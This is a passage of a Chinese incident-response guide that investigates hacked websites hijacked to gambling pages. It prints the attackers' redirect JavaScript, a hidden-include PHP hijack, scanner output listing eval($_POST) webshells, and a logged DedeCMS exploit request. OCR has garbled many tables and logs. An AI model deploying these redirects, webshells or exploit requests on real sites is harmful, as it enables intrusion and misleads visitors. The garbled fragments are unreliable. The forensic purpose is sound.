| 共享 ▼ 刻录 新建文件夹 | | | | = - |
|------------------------------|-----------------|--------|-------|-----|
| 名称 ▲ | 修改日期 | 类型 | 大小 | |
| 🐌 aomendduchangzaixian | 2018/7/31 12:39 | 文件夹 | | |
| 🍌 aomendduchangzaixi andobo | 2018/7/31 12:39 | 文件夹 | | |
| 뷀 aomenzhenggui dubowangzhan | 2018/7/31 12:39 | 文件夹 | | |
| 💽 1-1. png | 2018/6/23 15:40 | PNG 图像 | 19 KB | |
| 💽 1-2. png | 2018/6/23 15:45 | PNG 图像 | 17 KB | |
| 📭 1-3. png | 2018/6/23 16:21 | PNG 图像 | 18 KB | |
| | | | | |

3、然后清除IIS临时压缩文件

C:\inetpub\temp\IIS Temporary Compressed Files\WEBUI\$^_gzip_D^\WEB\WEBUI\UPLOAD

| 🚱 🖓 🗸 🚺 🕶 inetpub | temp → IIS Temporary Compressed Files | + WEBUI + \$^_gzip_D^ + WE | B 🗕 WEBUI 🗶 UPL | JAD → | ▼ 🕢 搜索 VPLOAD | |
|-------------------|---------------------------------------|----------------------------|-----------------|-------|---------------|-----------|
| 组织 ▼ 包含到库中 ▼ | 共享 🔻 刻录 新建文件夹 | | | | |) 🗉 🝷 🔟 🤅 |
| ☆ 收藏夹 | 名称 ▲ | 修改日期 | 类型 | 大小 | | |
| 🚺 下载 | 퉬 AOMENDUCHANGZAIXIAN | 2018/7/31 10:59 | 文件夹 | | | |
| ■ 桌面 | 📕 AOMENDUCHANGZAIXIANDUBO | 2018/7/31 10:59 | 文件夹 | | | |
| 🎬 取近功问的立面 | 腸 aomenzhengguidubowangzhan | 2018/7/31 10:59 | 文件夹 | | | |
| 库 | 🌗 BAIJIALE | 2018/7/31 10:59 | 文件夹 | | | |
| 🛃 视频 | 퉬 BOCAIWANG | 2018/7/31 10:59 | 文件夹 | | | |
| ■ 图片 | 퉬 BOCAIWANGZHIDAQUAN | 2018/7/31 10:59 | 文件夹 | | | |
| ■ 又相 | 퉬 DAFA | 2018/7/31 10:59 | 文件夹 | | | |
| | 퉬 DAFA888GUANFANGWANG | 2018/7/31 10:59 | 文件夹 | | | |
| 🌉 计算机 | 퉬 DAFA888XIAZAI | 2018/7/31 10:59 | 文件夹 | | | |
| A 54 | 퉬 DAFAPUKE | 2018/7/31 10:59 | 文件夹 | | | |
| 📬 网络 | 퉬 риво | 2018/7/31 10:59 | 文件夹 | | ── 全部都是博彩链接 | |
| | 🐌 DUBOKAIHU | 2018/7/31 10:59 | 文件夹 💙 | | | |
| | 📔 ERBAGANG | 2018/7/31 10:59 | 文件夹 | | | |
| | 📕 ERBAGANGDUBO | 2018/7/31 10:59 | 文件夹 | | | |
| | HUAKESHANZHUANGDUCHANG | 2018/7/31 10:59 | 文件夹 | | | |
| | HUAKESHANZHUANGDUCHANGKAIHU | 2018/7/31 10:59 | 文件夹 | | | |
| | 🕌 HVAKESHANZHVANGDUCHENGKAIHU | 2018/7/31 10:59 | 文件夹 | | | |

4、投诉快照,申请删除相关的网页收录,减少对网站的影响。

第4篇:新闻源网站劫持

新闻源网站一般权重较高,收录快,能够被搜索引擎优先收录,是黑灰产推广引流的必争之地,很容易成为被攻击的对象。被黑以后主要挂的不良信息内容主要是博彩六合彩等赌博类内容,新闻源网站程序无论是自主开发的还是开源程序,都有被黑的可能,开源程序更容易被黑。

现象描述:

某新闻源网站首页广告链接被劫持到菠菜网站



有三个广告专题, 链接形式如下:

http://www.xxx.cn/zhuanti/yyysc/index.shtml

http://www.xxx.cn/zhuanti/wwwsc/index.shtml

http://www.xxx.cn/zhuanti/zzzsc/index.shtml

点击这三条链接会跳转到博彩网站。简单抓包分析一下过程:

| Request | Response |
|--|---|
| Raw Headers Hex | Raw Headers Hex HTML Render |
| Raw Headers Hex PET /zhuanti/zb: | Raw Headers Hex HTML Render HTTP/1.1 200 OK Diver Tu, y low 2010 058.20 OMT Diver Tu, y low 2010 058.20 OMT Content-Type: texthtml, charset-utf-8 Connection: close Vary: Accept.Encoding Vary: Accept.Encoding Vary: Accept.Encoding Vary: Accept.Encoding X-Powered-By: DPP5 2.17 X.Powered-By: DPP5 2.17 X.Powered-By: SAPE NET X-Powered-By: DPP5 2.17 X.Powered-By: SAPE CRGN Content-Tupe: texthtml; charset=uff-8" /> Content-Length: 11830 |
| | emeta property="ogtype" content="news"> meta name="sterum" content="http://many" emeta name="sterum" content="http://www.tbc.cn/> excript language="javascript" erc="http://www.tbc.cn/> escript language="javascript" erc="http://www.tbc.cn/> escript language="javascript" erc="http://www.tbc.cn/> |

可以发现此时这个返回页面已被劫持,并且加载了第三方js文件,<u>http://xn--dpqw2zokj.com/N/js/dt.js</u>,进一步访问该 文件:

| ← i 星传媒.com/N/js/d | js | | 1 | Q. 搜索 | | |
|---|---|--|---|-------|--|--|
| INT V = I SQL+ XSS | • Encryption• Encoding• Other• | | | | | |
| ■ Load URL http://xndpqw2zokj.com/N/js/dt.js ⑧ Split URL ● Execute | | | | | | |
| Enable Post | data 🔲 Enable Referrer | | | | | |
| <pre>var _hmt = _hmt []; (function() { var hm = document.cre hm.src = "https://hm. var s = document.getE s.parentNode.insertBe })();</pre> | ateElement("script"); paidu.com/hm.js?5fa93dff27c1ac39be066ba260b14556"; lementsByTagName("script")[0]; fore(hm, s); | | | | | |

document.writeln("<script language=\"javascript\" src=\"http://xn--dpqw2zokj.com/N/js/yz.js\"><\/script>");

dt.js进一步加载了另一条js,访问<u>http://xn--dpqw2zokj.com/N/js/yz.js</u>

| (+ |) ① 星传 | 媒.com/N/js/yz.js |
|-----|-------------------|--|
| INT | ~ | SQL+ XSS+ Encryption+ Encoding+ Other+ |
| G | Lo <u>a</u> d URL | http://xndpqw2zokj.com/N/js/yz.js |
| * | <u>S</u> plit URL | |
| ۲ | E <u>x</u> ecute | |
| | | 🗌 Enable Post data 🔲 Enable Referrer |

window.location="https://lemcoo.com/?dt";

我们发现链接跳转到<u>https://lemcoo.com/?dt</u>,进一步访问这个链接,网站为博彩链接导航网站,访问后会随机跳转到 第三方赌博网站。

| 永久域名 7M365.COM | - | YZ5388. | COM |
|----------------|---|---------|-----|
|----------------|---|---------|-----|

| 最全网赚导航 | | 【天天代理.COM - 网赚联盟 - 致富天地 给自己定一个亿的小目标! 天天代理网欢迎您的加入! 】 | | | | | | |
|--------|--------|---|---------|----------|---------|---------|---------|--|
| 六合彩论坛 | 六合彩资料站 | 六合彩大众心水 | 六合彩图库 | 港彩资料站直线 | 港彩资料站贰线 | 六合彩开奖直播 | 六合彩开奖记录 | |
| 旧亚洲网导航 | 亚洲全讯网 | 全讯网导航 | 全讯网.COM | 118彩票投注站 | 六合彩开户投注 | 开彩网 | 开奖直播网站 | |
| 网赚代理平台 | 彩票代理 | 六合彩代理 | 百家乐代理 | 现场轮盘赌钱 | 经典老虎机 | 经典刮刮卡 | 二十一点 | |
| 视频网站: | 优酷网 | 土豆网 | 乐酷网 | 360看看 | 乐视网 | PPtv | 电影排行榜 | |
| 游戏网站: | 17173 | 多玩游戏 | 游侠网 | 风云游戏网 | 52PK游戏 | 4399小游戏 | 游久网 | |
| 小说网站: | 起点中文网 | 红袖添香 | 潇湘书院 | 飞卢小说网 | 言情小说吧 | 新奇小说网 | 凤凰读书 | |
| 社区网站: | 百度贴吧 | 天涯社区 | QQ论坛 | 凯迪社区 | 豆瓣 | 泡泡俱乐部 | 强国社区 | |
| 音乐网站: | 酷狗音乐 | 一听音乐 | 九酷音乐 | 虾米音乐 | 闪灵音乐网 | 音乐巴士 | 爱奇艺音乐 | |

事件分析:

找到url对应的文件位置,即使文件被删除,链接依然可以访问,可以发现三条链接都是以"sc"后缀。

对Nginx配置文件进行排查,发现Nginx配置文件VirtualHost.conf被篡改,通过反向代理匹配以"sc"后缀的专题链接,劫持到<u>http://103.233.248.163</u>,该网站为博彩链接导航网站。



}

删除恶意代理后, 专题链接访问恢复。

第5篇:移动端劫持

PC端访问正常,移动端访问出现异常,比如插入弹窗、嵌入式广告和跳转到第三方网站,将干扰用户的正常使用,对用 户体验造成极大伤害。

现象描述

部分网站用户反馈,手机打开网站就会跳转到赌博网站。

事件分析

访问网站首页,抓取到了一条恶意js: <u>http://js.zadovosnjppnywuz.com/caonima.js</u>

| ocument.writeln(" <script>"); ocument.writeln("function browserRedirect() {"); ocument.writeln("</th></tr><tr><td>ocument.witten(var soserAgent - havigator.userAgent.toLwerAse(), /,</td></tr><tr><td>ocument. writein(var bisipad – soseragent. match() pad/i) – (ipad (,),</td></tr><tr><td>ocument.writeln(" var bls1phoneOs = sUserAgent.match(/iphone os/i) == \ iphone os\ ;");</td></tr><tr><td>ocument.writeln(" var bIsMidp = sUserAgent.match(/midp/i) == \'midp\';");</td></tr><tr><td>ocument.writeln(" var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == \'rv:1.2.3.4\';");</td></tr><tr><td>ocument.writeln(" var bIsUc = sUserAgent.match(/ucweb/i) == \'ucweb\';");</td></tr><tr><td>ocument.writeln(" var bIsAndroid = sUserAgent.match(/android/i) == \'android\';");</td></tr><tr><td>ocument.writeln(″ var bIsCE = sUserAgent.match(/windows ce/i) == \'windows ce\';″);</td></tr><tr><td>ocument.writeln(" var bIsWM = sUserAgent.match(/windows mobile/i) == \'windows mobile\';");</td></tr><tr><td>ocument.writeln(" if (!(bIsIpad bIsIphoneOs bIsMidp bIsUc7 bIsUc bIsAndroid bIsCE bIsWM)){");</td></tr><tr><td><pre>ocument.writeln(" window.location.href=\'https://com/';");</pre></td></tr><tr><td><pre>ocument.writeln(") else {");</pre></td></tr><tr><td><pre>occument.writeln(" window.location.href=\'https:// .com/';");</pre></td></tr><tr><td>ocument.writeln(" }");</td></tr><tr><td><pre>ocument.writeln("}");</pre></td></tr><tr><td>ocument.writeln("browserRedirect();");</td></tr><tr><td><pre>ocument.writeln("</script> "); |
|---|
|---|

我们可以发现,攻击者通过这段js代码判断手机访问来源,劫持移动端(如手机、ipad、Android等)流量,跳转到<u>htt</u>ps://262706.com。

进一步访问<u>https://262706.com</u>, 跳转到赌博网站:



第6篇:搜索引擎劫持

当你直接打开网址访问网站,是正常的,可是当你在搜索引擎结果页中打开网站时,会跳转到一些其他网站,比如博彩,虚假广告,淘宝搜索页面等。是的,你可能了遇到搜索引擎劫持。

现象描述

从搜索引擎来的流量自动跳转到指定的网页

事件分析

通过对index.php文件进行代码分析,发现该文件代码对来自搜狗和好搜的访问进行流量劫持。

```
<?php
error_reporting(0);
if(stristr(strtolower($_SERVER['HTTP_USER_AGENT']), "Sogou") || stristr($_SERVER['HTTP_REFERER'], "sogou") || stristr(
    @include(PACK('H*', '2f746d702f2e4943452d756e69782f2e2e202f632e6a7067'));
)else(
    header('Location: http://www._____.cn/index.html');
-)
->
```

进一步跟着include函数包含的文件, index, php包含/tmp/.ICE-unix/.. / c.jpg。



进入/tmp目录进行查看,发现该目录下,如c.jpg等文件,包含着一套博彩劫持的程序。



第7篇:网站首页被篡改

网站首页被非法篡改,是的,就是你一打开网站就知道自己的网站出现了安全问题,网站程序存在严重的安全漏洞,攻 击者通过上传脚本木马,从而对网站内容进行篡改。而这种篡改事件在某些场景下,会被无限放大。

现象描述

网站首页被恶意篡改,比如复制原来的图片, PS一下, 然后替换上去。

事件分析

1、**确认篡改时间**

通过对被篡改的图片进行查看,确认图片篡改时间为2018年04月18日 19:24:07。

| | ddby.jpg | |
|-------------------------|--|----------------|
| 文件类型: 打开方式: | JPEG 图像 (.jpg) | 更改(C) |
| 位置: 大小: 占用空间: | E:\temp\Tomcat 7.0\webap 12.8 KB (13,132 字节) 16.0 KB (16,384 字节) | ps\ROOT\images |
| 创建时间: 修改时间: 访问时间: | 2017年7月21日,17:55:38 2018年4月18日,19:24:07 2017年7月21日,17:55:38 | |
| 属性: | 「 只读 (R) 「 隐藏 Ot) | 高级 (0) |

2、访问日志溯源

通过图片修改的时间节点,发现可疑IP:113.xx.xx.24 (代理IP,无法追溯真实来源),访问image.jsp(脚本木马),并随后访问了被篡改的图片地址。

| :/tmp/2018# more localhost access log.2018-04-18.txt grep "11324" | | | | |
|--|---|--|--|--|
| 113.1 | "GET /css/skin3/image.jsp HTTP/1.1" 200 272 | | | |
| 113.124 [18/Apr/2018:19:15:19 +0800] | "POST /css/skin3/image.jsp?act=login HTTP/1.1" 30 | | | |
| 2 - | | | | |
| 113.1224 [18/Apr/2018:19:15:19 +0800] | "GET /css/skin3/image.jsp HTTP/1.1" 200 393 | | | |
| 113. 224 [18/Apr/2018:19:15:48 +0800] | "POST /css/skin3/image.jsp HTTP/1.1" 302 - | | | |
| 113.1 224 [18/Apr/2018:19:15:48 +0800] | "GET /error.html HTTP/1.1" 200 483 | | | |
| 113.1 .1 .24 [18/Apr/2018:19:16:00 +0800] | "POST /css/skin3/image.jsp HTTP/1.1" 200 433 | | | |
| 113.124 [18/Apr/2018:19:16:50 +0800] | "POST /css/skin3/image.jsp HTTP/1.1" 200 433 | | | |
| 113.1 | "POST /css/skin3/image.jsp HTTP/1.1" 302 - | | | |
| 113 | "GET /error.html HTTP/1.1" 200 483 | | | |
| 113.11. 24 [18/Apr/2018:19:17:40 +0800] | "POST /css/skin3/image.jsp HTTP/1.1" 302 - | | | |
| 113.12. 2.24 [18/Apr/2018:19:17:40 +0800] | "GET /error.html HTTP/1.1" 200 483 | | | |
| 113.224 [18/Apr/2018:19:18:10 +0800] | "GET /js/jquery/tipsy/tip.jsp HTTP/1.1" 200 10 | | | |
| 113. 124 [18/Apr/2018:19:24:24 +0800] | "GET /images/ddby.jpg HTTP/1.1" 200 13132 | | | |
| 11324 [18/Apr/2018:19:24:31 +0800] | "GET /images/ddby.jpg HTTP/1.1" 304 - | | | |
| 113. 2. 2.24 [18/Apr/2018:19:24:32 +0800] | "GET /templates/picshow.jsp HTTP/1.1" 200 3590 | | | |
| 113. 224 [18/Apr/2018:19:24:32 +0800] | "GET /templates/head.jsp HTTP/1.1" 200 9899 | | | |
| 113. 224 [18/Apr/2018:19:24:33 +0800] | "GET /images/search.jpg HTTP/1.1" 404 636 | | | |
| 113.1224 [18/Apr/2018:19:24:33 +0800] | "GET /templates/weather2.jsp HTTP/1.1" 200 2151 | | | |

进一步审查所有的日志文件(日志保存时间从2017-04-20至2018-04-19),发现一共只有两次访问image.jsp文件的记录,分别是2018-04-18和2017-09-21。

| 名称 | 所在文件扩 | | 大小 | 类型 | 修改日期 | 匹配内容 |
|---------------------------------------|-------|--------|---------|---------------|------------|---|
| localhost_access_log.2017-09-21.txt | F:\ | logs/ | 3.3 MB | Text Document | 2017-09-22 | 00] "GET /oss/skin3/image.jsp HTTP/1.1" 200 272?? |
| localhost_access_log. 2017-12-26. txt | ¥:\ | logs\ | 10.3 MB | Text Document | 2017-12-26 | 3 *0800] "GET /jtwf/image.jsp HTTP/1.1" 404 633?? |
| localhost_access_log. 2017-12-27. txt | ¥:) | logs/ | 34.1 MB | Text Document | 2017-12-28 | 0 *0800] "GET /jtwf/image.jsp HTTP/1.1" 404 633?? |
| localhost_access_log. 2018-03-04. txt | F:1 | logs/ | 5.5 MB | Text Document | 2018-03-05 | 3 +0800] "GET /jtwf/image.jsp HTTP/1.1" 404 637?? |
| localhost_access_log. 2018-03-29. txt | ¥:1 | logs | 4.5 MB | Text Document | 2018-03-30 | 0000] "HEAD /Upfile_Inage.jsp HTTP/1.1" 403 -??14 |
| localhost_access_log. 2018-03-30. txt | ¥ : 1 | \logs\ | 9 MB | Text Document | 2018-03-31 | 0 *0800] "GET /jtwf/image.jsp HTTP/1.1" 404 632?? |
| localhost_access_log. 2018-04-18. txt | F:1 | /logs/ | 4.9 MB | Text Document | 2018-04-18 | 00] "GET /oss/skin3/image.jsp HTTP/1.1" 200 272?? |
| | | | | | | |

image.jsp在2017-09-21之前就已经上传到网站服务器,已经潜藏长达半年多甚至更久的时间。

3、寻找真相

我们在网站根目录找到了答案,发现站点目录下存在ROOT.rar全站源码备份文件,备份时间为2017-02-28 10:35。

| | 2018/4/18 23:44 | 文仕幸 | |
|----------------|-----------------|---------------|-----------|
| flack Discon | 2010/4/10 22:44 | 大け大 | |
| TiashPlayer | 2018/4/18 23:44 | 又件关 | |
| images | 2018/4/18 23:44 | 文件夹 | |
| 📙 js | 2018/4/18 23:44 | 文件夹 | |
| link_wssp | 2018/4/18 23:44 | 文件夹 | |
| lucene | 2018/4/18 23:44 | 文件夹 | |
| scripts | 2018/4/18 23:44 | 文件夹 | |
| templates | 2018/4/18 23:44 | 文件夹 | |
| userfiles | 2018/4/18 23:47 | 文件夹 | |
| WEB-INF | 2018/4/18 23:48 | 文件夹 | |
| 💿 dbbackup.bat | 2017/6/29 20:26 | Windows 批处理 | 1 KB |
| 📄 dpbak.txt | 2017/6/29 20:26 | 文本文档 | 1 KB |
| 💿 error.html | 2015/4/1 10:14 | Chrome HTML D | 1 KB |
| 📄 error.jsp | 2016/6/2 15:20 | JSP 文件 | 1 KB |
| 📄 forward.jsp | 2013/7/22 17:35 | JSP 文件 | 1 KB |
| 📄 index.jsp | 2013/7/22 17:35 | JSP 文件 | 1 KB |
| E ROOT.rar | 2017/2/28 10:35 | WinRAR 压缩文件 | 35,791 KB |

通过对ROOT.rar解压缩,发现源码中存在的脚本木马与网站访问日志的可疑文件名一致(image.jsp)。

| V 📙 ROOT | ^ | 名称 | 日期 | 类型 | 大小 | 标记 |
|--------------------|---|--------------|------------------|--------|------|----|
| ✓ <mark>css</mark> | | 🖻 child.gif | 2013/10/18 18:50 | GIF 文件 | 1 KB | |
| skin2 | | 🖻 closed.gif | 2013/10/18 18:50 | GIF 文件 | 1 KB | |
| 📙 skin3 | | 📄 image.jsp | 2013/10/18 18:50 | JSP 文件 | 3 KB | |
| 📙 flashPlayer | | opened.gif | 2013/10/18 18:50 | GIF 文件 | 1 KB | |
| > 🔤 images | | | | | | |
| > 📊 js | | | | | | |
| > 📙 link_wssp | | | | | | |
| , lucene | | | | | | |
| scripts | | | | | | |
| > 🔤 templates | | | | | | |
| > WEB-INF | | | | | | |
| scripts | | | | | | |
| > 🔤 templates | | | | | | |
| > userfiles | | | | | | |
| > WEB-INF | | | | | | |
| | | | | | | |

根据这几个时间节点,我们尝试去还原攻击者的攻击路径。

但是我们在访问日志并未找到ROOT.rar的访问下载记录,访问日志只保留了近一年的记录,而这个webshell可能已经存在了多年。

黑客是如何获取webshell的呢?

可能是通过下载ROOT.rar全站源码备份文件获取到其中存在的木马信息,或者几年前入侵并潜藏了多年,又或者是从地下黑产购买了shell,我们不得而知。

本文的示例中攻击者为我们留下了大量的证据和记录,而更多时候,攻击者可能会清除所有的关键信息,这势必会加大调查人员的取证难度。

第8篇:管理员账号被篡改

你是某一个网站的管理员,有一天,你的管理员账号admin却登录不了,进入数据库查看,原来管理员账号用户名不存 在了,却多了另外一个管理员用户名。不对,不是新增了管理员,而是你的管理员用户名被篡改了。

现象描述

前后端分离,后台只允许内网访问,管理员账号admin却依然被多次被篡改

事件分析

1、网站webshell

在针对网站根目录进行webshell扫描,发现存在脚本木马,创建时间为2018-06-13 04:30:30

| 扫描位置 D:\DedeAWFZ\WebRoot\Default2 | | · | | | | |
|---|----|--|------|---------------------|----------|--|
| 检测类型 全部文件 ▼ 図列出線電脚本 □ 不显示低级别脚本(1级) □ 显示Zend的图 | 5 | 目录排除 选择目录 开始扫描 | | | | |
| 文件 | 级别 | (说明 | 大小 | 修改时间 | 验证值 | |
| D:\DedeAMPZ\WebRoot\Default2\plus\result.php | 5 | 安里函数后门 | 67 | 2018-06-13 04:30:30 | B796CF4D | |
| D:\DedeAMPZ\WebRoot\Default2\data\backupdata\dede_nytag_0_3c333a575ee41202.txt | 2 | (内藏)Eval后门 (参数:\$_POST[diaosi]) 合并字符串 可能存在eval后门 | 1981 | 2018-04-08 16:37:50 | 30D56B17 | |
| D:\DedeAMPZ\WebRoot\Default2\data\cache\nyad=19. htm | 4 | file_put_contents 参数 :("read.php", "ペ?php_eval(\$_POST[x]);ec | 107 | 2018-06-13 04:30:37 | E4632F24 | |
| D:\DedeAMPZ\WebRoot\Default2\dats\tplcsche\369f4f32s093c165e115c64c34e0f0f6.inc | 4 | file_put_contents 参数 :("hongfeng.php", " php_eval(\$_POST[yi</td <td>90</td> <td>2018-04-16 20:19:44</td> <td>F1DA33A6</td> <td></td> | 90 | 2018-04-16 20:19:44 | F1DA33A6 | |
| D:\DedeAMPZ\WebRoot\Default2\data\tplcache\887f51091464799974e1480af7bcdcdc.inc | 4 | file_put_contents 参数 :("xsvip.php", " php eval (\$_POST[xinsu</td <td>90</td> <td>2018-06-12 12:22:54</td> <td>5FF4262E</td> <td></td> | 90 | 2018-06-12 12:22:54 | 5FF4262E | |
| D:\DedeAMPZ\WebRoot\Default2\data\tplcache\8bfdf569Dc2143b1e2cc3ed7545a5f12.inc | 4 | file_put_contents 参数 : ("eTxue.php", "《?php eval \$_POST[eTxue | 96 | 2018-05-08 10:17:05 | 10257282 | |
| D:\DedeAMPZ\WebRoot\Default2\data\tplcache\967f9e5110042406d977cbe8cef48cb1.inc | 4 | file_put_contents 参数 :("90sec.php", "今php eval (\$_POST[guige | 82 | 2018-03-26 17:18:10 | A6FFFD6B | |
| D:\DedeAMPZ\WebRoot\Default2\data\tplcache\d37eOac297e411c43aaf211d89b6cef1.inc | 4 | file_put_contents 参数 :("diaosi.php","ペ?php_eval(\$_POST[diao | 85 | 2018-03-22 02:43:58 | F295ADBC | |
| D:\DedeAMFZ\WebRoot\Default2\data\tplcache\dBae004dBfd11801dc297dfd8b23c1b1.inc | 4 | file_put_contents 参数 :("90sec.php", " php eval (\$_POST[guige</td <td>83</td> <td>2018-03-23 03:29:40</td> <td>3A97C194</td> <td></td> | 83 | 2018-03-23 03:29:40 | 3A97C194 | |
| D:\DedeAMPZ\WebRoot\Default2\data\tplcache\ec4a11955341f54ddf8f2fc50a81134f.inc | 4 | file_put_contents 参数 :("myjs.php"," php eval(\$_POST[tag])?</td <td>79</td> <td>2018-03-26 17:18:09</td> <td>8EF9DED5</td> <td></td> | 79 | 2018-03-26 17:18:09 | 8EF9DED5 | |
| D:\DedeAMPZ\WebRoot\Default2\data\tplcache\f780c9224e963f6f6336cedc86903fd4.inc | 4 | file_put_contents 参数 :("mybak.php", "今php_eval(\$_POST[mybak | 83 | 2018-03-25 08:32:29 | 5E4D3D49 | |
| | | | | | | |
| | | | | | | |
| | | | | | | |

2、 定位IP

通过木马创建时间, 查看网站访问日志, 定位到IP为: 180.xx.xx.3

```
172.16.1.12 119. 1.1 →.46 - [13/Jun/2018:04:27:57 + 0800] "GET / HTTP/1.1" 200 72838↓

172.16.1.12 119. 1.1 →.46 - [13/Jun/2018:04:28:00 + 0800] "GET / HTTP/1.1" 200 72838↓

172.16.1.12 119. 1.1 →.46 - [13/Jun/2018:04:28:28 + 0800] "GET / HTTP/1.1" 200 72838↓

172.16.1.12 139. 9 / 1.81 - [13/Jun/2018:04:28:41 + 0800] "GET / A/y<sup>1</sup> - 0.000 (HTTP/1.1" 200 21814↓

172.16.1.12 203.2 8. ).163 - [13/Jun/2018:04:30:08 + 0800] "GET / uploads/allimg/180604/1-1P60409295K57.jpg HTTP/1.1" 304 -↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:30 + 0800] "GET / plus/result.php HTTP/1.1" 200 177↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:32 + 0800] "GET / plus/result.php HTTP/1.1" 200 177↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:32 + 0800] "GET / plus/result.php HTTP/1.1" 200 23236↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:37 + 0800] "GET / plus/result.php HTTP/1.1" 200 23236↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:37 + 0800] "GET / plus/result.php HTTP/1.1" 200 32↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:37 + 0800] "GET / plus/read_js.php?aid=19 HTTP/1.1" 200 32↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:37 + 0800] "GET / plus/read_php HTTP/1.1" 404 211↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:37 + 0800] "GET / plus/read.php http?/1.1" 404 211↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:37 + 0800] "GET / plus/read.php http?/1.1" 404 211↓

172.16.1.12 180. 1.1 →.3 - [13/Jun/2018:04:30:37 + 0800] "GET / plus/read.php http?/1.1" 404 211↓
```

3、关联分析

全局搜索与该IP有关的操作日志:

| 172.16.1.12 180. 5.1 3 [02/Jun/2018:02:04:19 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&a |
|--|
| 172.16.1.12 180. 3.1 3 [02/Jun/2018:02:04:19 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1" 200 32↓ |
| 172.16.1.12 180. i.1 3 [02/Jun/2018:02:04:19 +0800] "GET /plus/read.php HTTP/1.1" 404 211↓ |
| 172.16.1.12 180 1 3 [10/Jun/2018:08:41:43 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&a |
| 172.16.1.12 180 1 3 [10/Jun/2018:08:41:43 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1" 200 32↓ |
| 172.16.1.12 180 1 3 [10/Jun/2018:08:41:43 +0800] "GET /plus/read.php HTTP/1.1" 404 211↓ |
| 172.16.1.12 180 3 [10/Jun/2018:08:41:44 +0800] "GET /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=/d |
| 172.16.1.12 180 |
| 172.16.1.12 180. 1 .3 [13/Jun/2018:04:30:30 +0800] "POST /include/dialog/select_soft_post.php HTTP/1.1" 500 182↓ |
| 172.16.1.12 180. ⁻ : 1 3 [13/Jun/2018:04:30:30 +0800] "GET /plus/result.php HTTP/1.1" 200 177↓ |
| 172.16.1.12 180. 1 .3 [13/Jun/2018:04:30:37 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&a |
| 172.16.1.12 180. 1 .3 [13/Jun/2018:04:30:37 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1" 200 32↓ |
| 172.16.1.12 180. 1 .3 [13/Jun/2018:04:30:37 +0800] "GET /plus/read.php HTTP/1.1" 404 211↓ |
| 172.16.1.12 180. 13 - [13/Jun/2018:04:30:37 +0800] "GET /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=/d |
| 172.16.1.12 180 1, . 3 [13/Jun/2018:04:30:44 +0800] "POST /search.php HTTP/1.1" 404 208↓ |

在脚本木马生成前,有两条比较可疑的访问日志吸引了我们的注意:

```
172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/download.php?
```

```
open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=
114&arrs1[]=101&arrs2[]=102&arrs2[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=1
00&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs
2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=104&arrs2[]=104&arrs2[]=112&arrs2[]=104&arrs2[]=117&ar
rs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=112&arrs2[]=112&arrs2[]=110&arrs2[]=110&arrs2[]=110&arrs2[]=110&arrs2[]=110&arrs2[]=110&arrs2[]=110&arrs2[]=101&arrs2[]=110&arrs2[]=110&arrs2[]=110&arrs2[]=104&arrs2[]=110&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=110&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=104&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=3